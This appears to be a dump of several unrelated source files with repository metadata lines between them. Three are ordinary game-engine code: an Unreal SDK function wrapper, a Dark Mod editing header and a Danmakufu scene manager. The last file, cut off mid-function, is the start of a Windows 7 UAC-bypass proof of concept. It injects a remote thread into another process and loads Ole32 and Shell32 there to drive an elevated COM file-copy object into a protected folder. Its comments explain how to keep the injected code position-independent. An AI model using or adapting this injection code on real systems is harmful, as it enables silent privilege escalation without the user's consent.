NoDestructor, HasGetValueTypeHash) // const struct FVector& Hit_Impulse (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // double Cutting_Power (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // double Stab_Rate (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // double Rigidity (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // int32 Blunt_Destruction_Int (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // bool Lower_Threshold_In (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // bool Damage_Parent_Bone_ (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // double Kick_Power (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // class UBoxComponent* Hit_Box (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, InstancedReference, NoDestructor, HasGetValueTypeHash) // bool Ignore_Invincibility (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // EPhysicalSurface* Hit_Surface (Parm, OutParm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // double* Damage_Out (Parm, OutParm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // double* Cutting_Rate_Out (Parm, OutParm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // double* Rigidity_Out (Parm, OutParm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // double* Material_Density_Out (Parm, OutParm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // bool* Lower_Threshold_Out (Parm, OutParm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) void IBPI_ComplexCollision_C::Deal_Complex_Damage(class UPrimitiveComponent* Hit_Component, class UPrimitiveComponent* Collided_Component, class FName Hit_Bone, const struct FVector& Location, const struct FVector& Normal, const struct FVector& Hit_Velocity, const struct FVector& Hit_Impulse, double Cutting_Power, double Stab_Rate, double Rigidity, int32 Blunt_Destruction_Int, bool Lower_Threshold_In, bool Damage_Parent_Bone_, double Kick_Power, class UBoxComponent* Hit_Box, bool Ignore_Invincibility, EPhysicalSurface* Hit_Surface, double* Damage_Out, double* Cutting_Rate_Out, double* Rigidity_Out, double* Material_Density_Out, bool* Lower_Threshold_Out) { static class UFunction* Func = nullptr; if (Func == nullptr) Func = AsUObject()->Class->GetFunction("BPI_ComplexCollision_C", "Deal Complex Damage"); Params::BPI_ComplexCollision_C_Deal_Complex_Damage Parms{}; Parms.Hit_Component = Hit_Component; Parms.Collided_Component = Collided_Component; Parms.Hit_Bone = Hit_Bone; Parms.Location = std::move(Location); Parms.Normal = std::move(Normal); Parms.Hit_Velocity = std::move(Hit_Velocity); Parms.Hit_Impulse = std::move(Hit_Impulse); Parms.Cutting_Power = Cutting_Power; Parms.Stab_Rate = Stab_Rate; Parms.Rigidity = Rigidity; Parms.Blunt_Destruction_Int = Blunt_Destruction_Int; Parms.Lower_Threshold_In = Lower_Threshold_In; Parms.Damage_Parent_Bone_ = Damage_Parent_Bone_; Parms.Kick_Power = Kick_Power; Parms.Hit_Box = Hit_Box; Parms.Ignore_Invincibility = Ignore_Invincibility; AsUObject()->ProcessEvent(Func, &Parms); if (Hit_Surface != nullptr) *Hit_Surface = Parms.Hit_Surface; if (Damage_Out != nullptr) *Damage_Out = Parms.Damage_Out; if (Cutting_Rate_Out != nullptr) *Cutting_Rate_Out = Parms.Cutting_Rate_Out; if (Rigidity_Out != nullptr) *Rigidity_Out = Parms.Rigidity_Out; if (Material_Density_Out != nullptr) *Material_Density_Out = Parms.Material_Density_Out; if (Lower_Threshold_Out != nullptr) *Lower_Threshold_Out = Parms.Lower_Threshold_Out; } }
0
0.709214
1
0.709214
game-dev
MEDIA
0.935461
game-dev
0.779004
1
0.779004
glKarin/com.n0n3m4.diii4a
3,140
Q3E/src/main/jni/darkmod/game/GameEdit.h
/***************************************************************************** The Dark Mod GPL Source Code This file is part of the The Dark Mod Source Code, originally based on the Doom 3 GPL Source Code as published in 2011. The Dark Mod Source Code is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. For details, see LICENSE.TXT. Project: The Dark Mod (http://www.thedarkmod.com/) ******************************************************************************/ #ifndef __GAME_EDIT_H__ #define __GAME_EDIT_H__ /* =============================================================================== Ingame cursor. =============================================================================== */ class idCursor3D : public idEntity { public: CLASS_PROTOTYPE( idCursor3D ); idCursor3D( void ); virtual ~idCursor3D( void ) override; void Spawn( void ); virtual void Present( void ) override; virtual void Think( void ) override; idForce_Drag drag; idVec3 draggedPosition; }; /* =============================================================================== Allows entities to be dragged through the world with physics. =============================================================================== */ class idDragEntity { public: idDragEntity( void ); ~idDragEntity( void ); void Clear(); void Update( idPlayer *player ); void SetSelected( idEntity *ent ); idEntity * GetSelected( void ) const { return selected.GetEntity(); } void DeleteSelected( void ); void BindSelected( void ); void UnbindSelected( void ); private: idEntityPtr<idEntity> dragEnt; // entity being dragged jointHandle_t joint; // joint being dragged int id; // id of body being dragged idVec3 localEntityPoint; // dragged point in entity space idVec3 localPlayerPoint; // dragged point in player space idStr bodyName; // name of the body being dragged idCursor3D * cursor; // cursor entity idEntityPtr<idEntity> selected; // last dragged entity void StopDrag( void ); }; /* =============================================================================== Handles ingame entity editing. =============================================================================== */ typedef struct selectedTypeInfo_s { idTypeInfo *typeInfo; idStr textKey; } selectedTypeInfo_t; class idEditEntities { public: idEditEntities( void ); bool SelectEntity( const idVec3 &origin, const idVec3 &dir, const idEntity *skip ); void AddSelectedEntity( idEntity *ent ); void RemoveSelectedEntity( idEntity *ent ); void ClearSelectedEntities( void ); void DisplayEntities( void ); bool EntityIsSelectable( idEntity *ent, idVec4 *color = NULL, idStr *text = NULL ); private: int nextSelectTime; idList<selectedTypeInfo_t> selectableEntityClasses; idList<idEntity *> selectedEntities; }; #endif /* !__GAME_EDIT_H__ */
0
0.905679
1
0.905679
game-dev
MEDIA
0.921477
game-dev
0.634498
1
0.634498
Natashi/Touhou-Danmakufu-ph3sx-2
15,924
source/TouhouDanmakufu/DnhExecutor/System.cpp
#include "source/GcLib/pch.h" #include "System.hpp" #include "TitleScene.hpp" #include "ScriptSelectScene.hpp" #include "StgScene.hpp" //******************************************************************* //SystemController //******************************************************************* SystemController::SystemController() { sceneManager_.reset(new SceneManager()); transitionManager_.reset(new TransitionManager()); infoSystem_.reset(new SystemInformation()); DnhConfiguration* config = DnhConfiguration::GetInstance(); if (config && config->pathPackageScript_.size() == 0) { //常駐タスク登録 ETaskManager* taskManager = ETaskManager::GetInstance(); shared_ptr<SystemResidentTask> task(new SystemResidentTask()); taskManager->AddTask(task); taskManager->AddRenderFunction(TTaskFunction<SystemResidentTask>::Create(task, &SystemResidentTask::RenderFps), SystemResidentTask::TASK_PRI_RENDER_FPS); } } SystemController::~SystemController() { transitionManager_ = nullptr; sceneManager_ = nullptr; } void SystemController::Reset() { EFileManager* fileManager = EFileManager::GetInstance(); fileManager->ClearArchiveFileCache(); DnhConfiguration* config = DnhConfiguration::CreateInstance(); const std::wstring& pathPackageScript = config->pathPackageScript_; if (pathPackageScript.size() == 0) { infoSystem_->UpdateFreePlayerScriptInformationList(); sceneManager_->TransTitleScene(); } else { ref_count_ptr<ScriptInformation> info = ScriptInformation::CreateScriptInformation(pathPackageScript, false); if (info == nullptr) ShowErrorDialog(L"ScriptReset: " + ErrorUtility::GetFileNotFoundErrorMessage(pathPackageScript, true)); else sceneManager_->TransPackageScene(info, true); } } void SystemController::ClearTaskWithoutSystem() { std::set<const std::type_info*> listInfo; listInfo.insert(&typeid(SystemTransitionEffectTask)); listInfo.insert(&typeid(SystemResidentTask)); ETaskManager* taskManager = ETaskManager::GetInstance(); taskManager->RemoveTaskWithoutTypeInfo(listInfo); } void SystemController::ShowErrorDialog(const std::wstring& msg) { HWND hParent = EDirectGraphics::GetInstance()->GetAttachedWindowHandle(); ErrorDialog dialog(hParent); dialog.ShowModal(msg); } void SystemController::ResetWindowTitle() { EDirectGraphics* window = EDirectGraphics::GetInstance(); window->SetWindowTitle(window->GetDefaultWindowTitle()); } //******************************************************************* //SceneManager //******************************************************************* SceneManager::SceneManager() {} SceneManager::~SceneManager() {} void SceneManager::TransTitleScene() { EDirectInput* input = EDirectInput::GetInstance(); input->ClearKeyState(); TransitionManager* transitionManager = SystemController::GetInstance()->GetTransitionManager(); transitionManager->DoFadeOut(); SystemController::GetInstance()->ClearTaskWithoutSystem(); ETaskManager* taskManager = ETaskManager::GetInstance(); shared_ptr<TitleScene> task(new TitleScene()); taskManager->AddTask(task); taskManager->AddWorkFunction(TTaskFunction<TitleScene>::Create(task, &TitleScene::Work), TitleScene::TASK_PRI_WORK); taskManager->AddRenderFunction(TTaskFunction<TitleScene>::Create(task, &TitleScene::Render), TitleScene::TASK_PRI_RENDER); } void SceneManager::TransScriptSelectScene(int type) { EDirectInput* input = EDirectInput::GetInstance(); input->ClearKeyState(); TransitionManager* transitionManager = SystemController::GetInstance()->GetTransitionManager(); transitionManager->DoFadeOut(); SystemController::GetInstance()->ClearTaskWithoutSystem(); ETaskManager* taskManager = ETaskManager::GetInstance(); shared_ptr<ScriptSelectScene> task(new ScriptSelectScene()); taskManager->AddTask(task); taskManager->AddWorkFunction(TTaskFunction<ScriptSelectScene>::Create(task, &ScriptSelectScene::Work), ScriptSelectScene::TASK_PRI_WORK); taskManager->AddRenderFunction(TTaskFunction<ScriptSelectScene>::Create(task, &ScriptSelectScene::Render), ScriptSelectScene::TASK_PRI_RENDER); shared_ptr<ScriptSelectModel> model; if (type == ScriptSelectScene::TYPE_SINGLE || type == ScriptSelectScene::TYPE_PLURAL || type == ScriptSelectScene::TYPE_STAGE || type == ScriptSelectScene::TYPE_PACKAGE || type == ScriptSelectScene::TYPE_DIR || type == ScriptSelectScene::TYPE_ALL) { std::wstring dir = EPathProperty::GetStgScriptRootDirectory(); SystemInformation* systemInfo = SystemController::GetInstance()->GetSystemInformation(); if (type == ScriptSelectScene::TYPE_DIR) { dir = systemInfo->GetLastScriptSearchDirectory(); } ScriptSelectFileModel* fileModel = new ScriptSelectFileModel(type, dir); const std::wstring& pathWait = systemInfo->GetLastSelectedScriptPath(); fileModel->SetWaitPath(pathWait); model.reset(fileModel); } task->SetModel(model); } void SceneManager::TransScriptSelectScene_All() { TransScriptSelectScene(ScriptSelectScene::TYPE_ALL); } void SceneManager::TransScriptSelectScene_Single() { TransScriptSelectScene(ScriptSelectScene::TYPE_SINGLE); } void SceneManager::TransScriptSelectScene_Plural() { TransScriptSelectScene(ScriptSelectScene::TYPE_PLURAL); } void SceneManager::TransScriptSelectScene_Stage() { TransScriptSelectScene(ScriptSelectScene::TYPE_STAGE); } void SceneManager::TransScriptSelectScene_Package() { TransScriptSelectScene(ScriptSelectScene::TYPE_PACKAGE); } void SceneManager::TransScriptSelectScene_Directory() { TransScriptSelectScene(ScriptSelectScene::TYPE_DIR); } void SceneManager::TransScriptSelectScene_Last() { int type = SystemController::GetInstance()->GetSystemInformation()->GetLastSelectScriptSceneType(); TransScriptSelectScene(type); } void SceneManager::TransStgScene(ref_count_ptr<ScriptInformation> infoMain, ref_count_ptr<ScriptInformation> infoPlayer, ref_count_ptr<ReplayInformation> infoReplay) { EDirectSoundManager* soundManager = EDirectSoundManager::GetInstance(); soundManager->Clear(); EDirectInput* input = EDirectInput::GetInstance(); input->ClearKeyState(); ETaskManager* taskManager = ETaskManager::GetInstance(); taskManager->RemoveTask(typeid(EStgSystemController)); taskManager->RemoveTask(typeid(PStgSystemController)); try { //STGシーン初期化 ref_count_ptr<StgSystemInformation> infoStgSystem(new StgSystemInformation()); infoStgSystem->SetMainScriptInformation(infoMain); shared_ptr<StgSystemController> task(new EStgSystemController()); //STGタスク初期化 task->Initialize(infoStgSystem); task->Start(infoPlayer, infoReplay); //タスククリア TransitionManager* transitionManager = SystemController::GetInstance()->GetTransitionManager(); transitionManager->DoFadeOut(); SystemController::GetInstance()->ClearTaskWithoutSystem(); //STGタスク登録 taskManager->AddTask(task); taskManager->AddWorkFunction(TTaskFunction<StgSystemController>::Create(task, &StgSystemController::Work), StgSystemController::TASK_PRI_WORK); taskManager->AddRenderFunction(TTaskFunction<StgSystemController>::Create(task, &StgSystemController::Render), StgSystemController::TASK_PRI_RENDER); } catch (gstd::wexception& e) { Logger::WriteTop(e.what()); DirectGraphics* graphics = DirectGraphics::GetBase(); graphics->GetCamera2D()->ResetAll(); SystemController* system = SystemController::GetInstance(); system->ShowErrorDialog(e.what()); system->GetSceneManager()->TransScriptSelectScene_Last(); //EFileManager::GetInstance()->ClearArchiveFileCache(); } } void SceneManager::TransStgScene(ref_count_ptr<ScriptInformation> infoMain, ref_count_ptr<ReplayInformation> infoReplay) { try { const std::wstring& replayPlayerID = infoReplay->GetPlayerScriptID(); const std::wstring& replayPlayerScriptFileName = infoReplay->GetPlayerScriptFileName(); //自機を検索 ref_count_ptr<ScriptInformation> infoPlayer; std::vector<ref_count_ptr<ScriptInformation>> listPlayer; if (infoMain->listPlayer_.size() == 0) { listPlayer = SystemController::GetInstance()->GetSystemInformation()-> GetFreePlayerScriptInformationList(); } else { listPlayer = infoMain->CreatePlayerScriptInformationList(); } for (auto& tInfo : listPlayer) { if (tInfo->id_ != replayPlayerID) continue; std::wstring tPlayerScriptFileName = PathProperty::GetFileName(tInfo->pathScript_); if (tPlayerScriptFileName != replayPlayerScriptFileName) continue; infoPlayer = tInfo; break; } if (infoPlayer == nullptr) { std::wstring log = StringUtility::Format(L"Player script not found: [%s]", replayPlayerScriptFileName.c_str()); throw gstd::wexception(log.c_str()); } TransStgScene(infoMain, infoPlayer, infoReplay); } catch (gstd::wexception& e) { Logger::WriteTop(e.what()); DirectGraphics* graphics = DirectGraphics::GetBase(); graphics->GetCamera2D()->ResetAll(); SystemController* system = SystemController::GetInstance(); system->ShowErrorDialog(e.what()); system->GetSceneManager()->TransScriptSelectScene_Last(); //EFileManager::GetInstance()->ClearArchiveFileCache(); } } void SceneManager::TransPackageScene(ref_count_ptr<ScriptInformation> infoMain, bool bOnlyPackage) { EDirectSoundManager* soundManager = EDirectSoundManager::GetInstance(); soundManager->Clear(); EDirectInput* input = EDirectInput::GetInstance(); input->ClearKeyState(); ETaskManager* taskManager = ETaskManager::GetInstance(); taskManager->RemoveTask(typeid(EStgSystemController)); taskManager->RemoveTask(typeid(PStgSystemController)); try { //STGシーン初期化 ref_count_ptr<StgSystemInformation> infoStgSystem(new StgSystemInformation()); infoStgSystem->SetMainScriptInformation(infoMain); shared_ptr<StgSystemController> task = nullptr; if (!bOnlyPackage) task = make_shared<EStgSystemController>(); else task = make_shared<PStgSystemController>(); //STGタスク初期化 task->Initialize(infoStgSystem); task->Start(nullptr, nullptr); //タスククリア TransitionManager* transitionManager = SystemController::GetInstance()->GetTransitionManager(); transitionManager->DoFadeOut(); SystemController::GetInstance()->ClearTaskWithoutSystem(); //STGタスク登録 taskManager->AddTask(task); taskManager->AddWorkFunction(TTaskFunction<StgSystemController>::Create(task, &StgSystemController::Work), StgSystemController::TASK_PRI_WORK); taskManager->AddRenderFunction(TTaskFunction<StgSystemController>::Create(task, &StgSystemController::Render), StgSystemController::TASK_PRI_RENDER); } catch (gstd::wexception& e) { Logger::WriteTop(e.what()); DirectGraphics* graphics = DirectGraphics::GetBase(); graphics->GetCamera2D()->ResetAll(); SystemController* system = SystemController::GetInstance(); system->ShowErrorDialog(e.what()); if (!bOnlyPackage) { system->GetSceneManager()->TransScriptSelectScene_Last(); } else { EApplication::GetInstance()->End(); } //EFileManager::GetInstance()->ClearArchiveFileCache(); } } //******************************************************************* //TransitionManager //******************************************************************* TransitionManager::TransitionManager() {} TransitionManager::~TransitionManager() {} void TransitionManager::_CreateCurrentSceneTexture() { DirectGraphics* graphics = EDirectGraphics::GetInstance(); WorkRenderTaskManager* taskManager = ETaskManager::GetInstance(); TextureManager* textureManager = ETextureManager::GetInstance(); shared_ptr<Texture> texture = textureManager->GetTexture(TextureManager::TARGET_TRANSITION); graphics->SetRenderTarget(texture); graphics->ResetDeviceState(); //graphics->ClearRenderTarget(); graphics->BeginScene(false, true); taskManager->CallRenderFunction(); graphics->EndScene(false); graphics->SetRenderTarget(nullptr); } void TransitionManager::_AddTask(shared_ptr<TransitionEffect> effect) { WorkRenderTaskManager* taskManager = ETaskManager::GetInstance(); taskManager->RemoveTask(typeid(SystemTransitionEffectTask)); shared_ptr<SystemTransitionEffectTask> task(new SystemTransitionEffectTask()); task->SetTransition(effect); taskManager->AddTask(task); taskManager->AddWorkFunction(TTaskFunction<SystemTransitionEffectTask>::Create(task, &SystemTransitionEffectTask::Work), TASK_PRI); taskManager->AddRenderFunction(TTaskFunction<SystemTransitionEffectTask>::Create(task, &SystemTransitionEffectTask::Render), TASK_PRI); } void TransitionManager::DoFadeOut() { TextureManager* textureManager = ETextureManager::GetInstance(); shared_ptr<Texture> texture = textureManager->GetTexture(TextureManager::TARGET_TRANSITION); _CreateCurrentSceneTexture(); shared_ptr<TransitionEffect_FadeOut> effect(new TransitionEffect_FadeOut()); effect->Initialize(10, texture); _AddTask(effect); EFpsController* fpsController = EFpsController::GetInstance(); fpsController->SetCriticalFrame(); } //SystemTransitionEffectTask void SystemTransitionEffectTask::Work() { TransitionEffectTask::Work(); if (effect_ != nullptr && effect_->IsEnd()) { WorkRenderTaskManager* taskManager = ETaskManager::GetInstance(); taskManager->RemoveTask(this); return; } } void SystemTransitionEffectTask::Render() { TransitionEffectTask::Render(); } //******************************************************************* //SystemInformation //******************************************************************* SystemInformation::SystemInformation() { lastTitleSelectedIndex_ = 0; dirLastScriptSearch_ = EPathProperty::GetStgScriptRootDirectory(); lastPlayerSelectIndex_ = 0; } SystemInformation::~SystemInformation() { } void SystemInformation::_SearchFreePlayerScript(const std::wstring& dir) { listFreePlayer_ = ScriptInformation::FindPlayerScriptInformationList(dir); for (auto& info : listFreePlayer_) { const std::wstring& path = info->pathScript_; std::wstring log = StringUtility::Format(L"Found free player script: [%s]", PathProperty::ReduceModuleDirectory(path).c_str()); ELogger::WriteTop(log); } } void SystemInformation::UpdateFreePlayerScriptInformationList() { listFreePlayer_.clear(); const std::wstring& dir = EPathProperty::GetPlayerScriptRootDirectory(); _SearchFreePlayerScript(dir); //ソート std::sort(listFreePlayer_.begin(), listFreePlayer_.end(), [](const ref_count_ptr<ScriptInformation>& r, const ref_count_ptr<ScriptInformation>& l) { return ScriptInformation::Sort::Compare(r, l); }); } //******************************************************************* //SystemResidentTask //******************************************************************* SystemResidentTask::SystemResidentTask() { DirectGraphics* graphics = DirectGraphics::GetBase(); LONG screenWidth = graphics->GetScreenWidth(); LONG screenHeight = graphics->GetScreenHeight(); textFps_.SetFontColorTop(D3DCOLOR_ARGB(255, 160, 160, 255)); textFps_.SetFontColorBottom(D3DCOLOR_ARGB(255, 64, 64, 255)); textFps_.SetFontBorderType(TextBorderType::Full); textFps_.SetFontBorderColor(D3DCOLOR_ARGB(255, 255, 255, 255)); textFps_.SetFontBorderWidth(2); textFps_.SetFontSize(14); textFps_.SetFontWeight(FW_BOLD); textFps_.SetMaxWidth(screenWidth - 8); textFps_.SetHorizontalAlignment(TextAlignment::Right); textFps_.SetPosition(0, screenHeight - 20); } SystemResidentTask::~SystemResidentTask() {} void SystemResidentTask::RenderFps() { WorkRenderTaskManager* taskManager = ETaskManager::GetInstance(); if (taskManager->GetTask(typeid(EStgSystemController)) != nullptr) return; if (taskManager->GetTask(typeid(PStgSystemController)) != nullptr) return; DirectGraphics* graphics = DirectGraphics::GetBase(); graphics->SetBlendMode(MODE_BLEND_ALPHA); graphics->SetZBufferEnable(false); graphics->SetZWriteEnable(false); graphics->SetFogEnable(false); EFpsController* fpsController = EFpsController::GetInstance(); float fps = fpsController->GetCurrentRenderFps(); textFps_.SetText(StringUtility::Format(L"%.2ffps", fps)); textFps_.Render(); }
0
0.959536
1
0.959536
game-dev
MEDIA
0.803298
game-dev
0.961411
1
0.961411
AiMiDi/C4D_MMD_Tool
1,901
sdk_r25/frameworks/core.framework/source/maxon/floatingpoint.h
#ifndef FLOATINGPOINT_H__ #define FLOATINGPOINT_H__ #include "maxon/interfacebase.h" namespace maxon { class Misc { MAXON_INTERFACE_NONVIRTUAL(Misc, MAXON_REFERENCE_NONE, "net.maxon.interface.misc"); public: //---------------------------------------------------------------------------------------- /// Activates or deactivates floating point checks (exceptions). /// If (on && g_checkFloatZeroDivide) == true checks for division by zero will be active. /// If (on && g_checkFloatInvalid) == true checks for invalid floating point numbers will be active. /// If (on && g_checkFloatOverflow) == true checks for invalid floating overflows will be active. /// Currently under OS X all checks are disabled as the system and OpenGL throw exceptions in too many places. /// SetFloatingPointChecks works thread-specific. /// THREADSAFE. /// @param[in] on The new state. /// @return The old state. //---------------------------------------------------------------------------------------- static MAXON_METHOD Bool SetFloatingPointChecks(Bool on); }; // include auto generated header file here #include "floatingpoint1.hxx" // include auto generated header file here #include "floatingpoint2.hxx" //---------------------------------------------------------------------------------------- /// Helper class to temporarily deactivate all floating point checks. /// The checks will be disabled and return to their previous states when the current scope is left (and therefore the class is destructed). //---------------------------------------------------------------------------------------- class SuppressFloatingPointChecks { public: SuppressFloatingPointChecks() { oldState = Misc::SetFloatingPointChecks(false); } ~SuppressFloatingPointChecks() { Misc::SetFloatingPointChecks(oldState); } private: Bool oldState; }; } // namespace maxon #endif // FLOATINGPOINT_H__
0
0.841275
1
0.841275
game-dev
MEDIA
0.595501
game-dev
0.852655
1
0.852655
DarkflameUniverse/DarkflameServer
2,250
dGame/dUtilities/BrickDatabase.cpp
#include <sstream> #include <fstream> #include "BrickDatabase.h" #include "Game.h" #include "AssetManager.h" #include "tinyxml2.h" #include "Brick.h" const BrickList& BrickDatabase::GetBricks(const LxfmlPath& lxfmlPath) { static std::unordered_map<LxfmlPath, BrickList> m_Cache; static const BrickList emptyCache; const auto cached = m_Cache.find(lxfmlPath); if (cached != m_Cache.end()) { return cached->second; } auto file = Game::assetManager->GetFile((lxfmlPath).c_str()); if (!file) { return emptyCache; } std::stringstream data; data << file.rdbuf(); if (data.str().empty()) { return emptyCache; } tinyxml2::XMLDocument doc; if (doc.Parse(data.str().c_str(), data.str().size()) != 0) { return emptyCache; } BrickList parts; auto* lxfml = doc.FirstChildElement("LXFML"); auto* bricks = lxfml->FirstChildElement("Bricks"); std::string searchTerm = "Brick"; if (!bricks) { searchTerm = "Part"; bricks = lxfml->FirstChildElement("Scene")->FirstChildElement("Model")->FirstChildElement("Group"); if (!bricks) { return emptyCache; } } auto* currentBrick = bricks->FirstChildElement(searchTerm.c_str()); while (currentBrick != nullptr) { auto* part = currentBrick->FirstChildElement("Part"); if (part == nullptr) part = currentBrick; if (part->Attribute("designID") != nullptr) { Brick brick{ static_cast<uint32_t>(part->IntAttribute("designID")) }; // Depends on the file, some don't specify a list but just a single material const auto* materialList = part->Attribute("materials"); const auto* materialID = part->Attribute("materialID"); if (materialList != nullptr) { std::string materialString(materialList); const auto materials = GeneralUtils::SplitString(materialString, ','); if (!materials.empty()) { brick.materialID = std::stoi(materials[0]); } else { brick.materialID = 0; } } else if (materialID != nullptr) { brick.materialID = std::stoi(materialID); } else { brick.materialID = 0; // This is bad, makes it so the minigame can't be played } parts.push_back(brick); } currentBrick = currentBrick->NextSiblingElement(searchTerm.c_str()); } m_Cache[lxfmlPath] = parts; return m_Cache[lxfmlPath]; }
0
0.982777
1
0.982777
game-dev
MEDIA
0.685058
game-dev
0.971164
1
0.971164
dotnet/Silk.NET
2,279
src/OpenXR/Silk.NET.OpenXR/Structs/HapticVibration.gen.cs
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. using System; using System.Runtime.InteropServices; using System.Runtime.CompilerServices; using System.Text; using Silk.NET.Core; using Silk.NET.Core.Native; using Silk.NET.Core.Attributes; using Silk.NET.Core.Contexts; using Silk.NET.Core.Loader; #pragma warning disable 1591 namespace Silk.NET.OpenXR { [NativeName("Name", "XrHapticVibration")] public unsafe partial struct HapticVibration { public HapticVibration ( StructureType? type = StructureType.TypeHapticVibration, void* next = null, long? duration = null, float? frequency = null, float? amplitude = null ) : this() { if (type is not null) { Type = type.Value; } if (next is not null) { Next = next; } if (duration is not null) { Duration = duration.Value; } if (frequency is not null) { Frequency = frequency.Value; } if (amplitude is not null) { Amplitude = amplitude.Value; } } /// <summary></summary> [NativeName("Type", "XrStructureType")] [NativeName("Type.Name", "XrStructureType")] [NativeName("Name", "type")] public StructureType Type; /// <summary></summary> [NativeName("Type", "void*")] [NativeName("Type.Name", "void")] [NativeName("Name", "next")] public void* Next; /// <summary></summary> [NativeName("Type", "XrDuration")] [NativeName("Type.Name", "XrDuration")] [NativeName("Name", "duration")] public long Duration; /// <summary></summary> [NativeName("Type", "float")] [NativeName("Type.Name", "float")] [NativeName("Name", "frequency")] public float Frequency; /// <summary></summary> [NativeName("Type", "float")] [NativeName("Type.Name", "float")] [NativeName("Name", "amplitude")] public float Amplitude; } }
0
0.717234
1
0.717234
game-dev
MEDIA
0.701645
game-dev
0.547321
1
0.547321
praetorian-inc/purple-team-attack-automation
19,826
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
#include "stdafx.h" #include "Win7Elevate_Utils.h" #include "Win7Elevate_Inject.h" #include ".\..\CMMN.h" // All code (except for GetElevationType) (C) Leo Davidson, 8th February 2009, all rights reserved. // (Minor tidy-up 12th June 2009 for the code's public release.) // http://www.pretentiousname.com // leo@ox.compsoc.net // // Using any part of this code for malicious purposes is expressly forbidden. // // This proof-of-concept code is intended only to demonstrate that code-injection // poses a real problem with the default UAC settings in Windows 7 (tested with RC1 build 7100). struct InjectArgs { BOOL (WINAPI *fpFreeLibrary)(HMODULE hLibModule); HMODULE (WINAPI *fpLoadLibrary)(LPCWSTR lpLibFileName); FARPROC (WINAPI *fpGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); BOOL (WINAPI *fpCloseHandle)(HANDLE); DWORD (WINAPI *fpWaitForSingleObject)(HANDLE,DWORD); const wchar_t *szSourceDll; const wchar_t *szElevDir; const wchar_t *szElevDll; const wchar_t *szElevDllFull; const wchar_t *szElevExeFull; wchar_t *szElevArgs; // Not const because of CreateProcess's in-place buffer modification. It's really not const so this is fine. (We don't use CreateProcess anymore but it doesn't hurt to keep this non-const just in case.) const wchar_t *szEIFOMoniker; // szElevatedIFileOperationMoniker const IID *pIID_EIFOClass; const IID *pIID_EIFO; const IID *pIID_ShellItem2; const IID *pIID_Unknown; const wchar_t *szShell32; const wchar_t *szOle32; const char *szCoInitialize; const char *szCoUninitialize; const char *szCoGetObject; const char *szCoCreateInstance; const char *szSHCreateItemFPN; // SHCreateItemFromParsingName const char *szShellExecuteExW; }; static DWORD WINAPI RemoteCodeFunc(LPVOID lpThreadParameter) { // This is the injected code of "part 1." // As this code is copied into another process it cannot refer to any static data (i.e. no string, GUID, etc. constants) // and it can only directly call functions that are within Kernel32.dll (which is all we need as it lets us call // LoadLibrary and GetProcAddress). The data we need (strings, GUIDs, etc.) is copied into the remote process and passed to // us in our InjectArgs structure. // The compiler settings are important. You have to ensure that RemoteCodeFunc doesn't do any stack checking (since it // involves a call into the CRT which may not exist (in the same place) in the target process) and isn't made inline // or anything like that. (Compiler optimizations are best turned off.) You need RemoteCodeFunc to be compiled into a // contiguous chunk of assembler that calls/reads/writes nothing except its own stack variables and what is passed to it via pArgs. // It's also important that all asm jump instructions in this code use relative addressing, not absolute. Jumps to absolute // addresses will not be valid after the code is copied to a different address in the target process. Visual Studio seems // to use absolute addresses sometimes and relative ones at other times and I'm not sure what triggers one or the other. For example, // I had a problem with it turning a lot of the if-statements in this code into absolute jumps when compiled for 32-bit and that // seemed to go away when I set the Release build to generate a PDF file, but then they came back again. // I never had this problem in February, and 64-bit builds always seem fine, but now in June I'm getting the problem with 32-bit // builds on my main machine. However, if I switch to the older compiler install and older Windows SDK that I have on another machine // it always builds a working 32-bit (and 64-bit) version, just like it used to. So I guess something in the compiler/SDK has triggered // this change but I don't know what. It could just be that things have moved around in memory due to a structure size change and that's // triggering the different modes... I don't know! // // So if the 32-bit version crashes the process you inject into, you probably need to work out how to convince the compiler // to generate the code it used to in February. :) Or you could write some code to fix up the jump instructions after copying them, // or hand-code the 32-bit asm (seems you can ignore 64-bit as it always works so far), or find a style of if-statement (or equivalent) // that always generates relative jumps, or whatever... // // Take a look at the asm_code_issue.png image that comes with the source to see what the absolute and relative jumps look like. // // PS: I've never written Intel assembler, and it's many years since I've hand-written any type of assembler, so I may have the wrong end // of the stick about some of this! Either way, 32-bit version works when built on my older compiler/SDK install and usually doesn't on // the newer install. InjectArgs * pArgs = reinterpret_cast< InjectArgs * >(lpThreadParameter); // Use an elevated FileOperation object to copy a file to a protected folder. // If we're in a process that can do silent COM elevation then we can do this without any prompts. HMODULE hModuleOle32 = pArgs->fpLoadLibrary(pArgs->szOle32); HMODULE hModuleShell32 = pArgs->fpLoadLibrary(pArgs->szShell32); if (hModuleOle32 && hModuleShell32) { // Load the non-Kernel32.dll functions that we need. W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE 